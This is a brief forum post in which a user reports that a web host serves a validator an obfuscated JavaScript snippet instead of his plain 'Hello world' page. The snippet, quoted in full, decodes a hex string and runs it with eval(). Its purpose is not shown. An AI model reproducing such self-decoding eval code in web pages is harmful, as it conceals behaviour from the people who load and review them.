I'm completely flumoxed
Simple web page
<!DOCTYPE html>
<html lang="en-GB">
<head>
</head>
<body>
<p>Hello world</p>
</body>
</html>
... renders fine in a browser.
this is what gets served to the validator ...
<html><body><script>function IZV(kf,q2,od){var MpLsW,yVZDh=new Array(),Z0pLM="\x52\x71\x49\x5b\xde\x40\x9a\x5f\x6b\x89\xd7\x9b\xc3\xc5\x87\x8e\xe6\x84\x6e\x0a\xfb\x33\xc8\xe5\x85\x4c\x0c\xd2\x4e\xad\x12\x05\xd0\x9f\xd2\x3a\x25\x44\x38\xa9\x46\x4c\xe1\x5a\x53\x59\x1d\x16\x1f";for(MpLsW=0;MpLsW<Z0pLM.length;MpLsW++)yVZDh[MpLsW]=Z0pLM.charCodeAt(MpLsW);MpLsW=4;while(MpLsW<=35){yVZDh[MpLsW]=(yVZDh[MpLsW]+yVZDh[MpLsW+1])&0xff;yVZDh[MpLsW]=((yVZDh[MpLsW]<<7)&0xff)|(yVZDh[MpLsW]>>1);MpLsW++;}MpLsW=1;do{yVZDh[MpLsW]=(yVZDh[MpLsW]+yVZDh[MpLsW+1])&0xff;yVZDh[MpLsW]=(~yVZDh[MpLsW])&0xff;yVZDh[MpLsW]=yVZDh[MpLsW]^13;}while(++MpLsW<=40);MpLsW=37;for(;;MpLsW--){if(MpLsW<3)break;yVZDh[MpLsW]=((yVZDh[MpLsW]^182)+35)&0xff;}Z0pLM="";for(MpLsW=1;MpLsW<yVZDh.length-1;MpLsW++)if(MpLsW%7)Z0pLM+=String.fromCharCode(yVZDh[MpLsW]^kf);Z0pLM+="";eval(Z0pLM);}IZV(63,"test.html","");</script><br><br><br><center><h3><p>Your browser doesn't seem to support Javascript!</p></h3></center></body></html>
Tried another web host and it was fine.
Steve